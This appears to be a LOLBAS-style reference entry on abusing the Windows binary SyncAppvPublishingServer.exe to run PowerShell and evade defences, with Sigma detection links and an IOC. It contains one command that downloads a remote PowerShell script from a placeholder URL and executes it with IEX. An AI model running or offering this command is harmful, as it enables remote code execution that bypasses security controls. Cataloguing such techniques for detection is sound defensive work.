SyncAppvPublishingServer.exe

Commands

1. ExecuteUser T1218

   Use SyncAppvPublishingServer as a Powershell host to execute Powershell code. Evade defensive counter measures

   SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX"

   Example command on how inject Powershell code into the process

   os: Windows 10 1709, Windows 10 1703, Windows 10 1607

   Execute: PowerShell

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/powershell/powershell_script/posh_ps_syncappvpublishingserver_exe.yml
• Sigma https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/powershell/powershell_module/posh_pm_syncappvpublishingserver_exe.yml
• Sigma https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml
• IOCSyncAppvPublishingServer.exe should never be in use unless App-V is deployed

Resources

• https://twitter.com/monoxgas/status/895045566090010624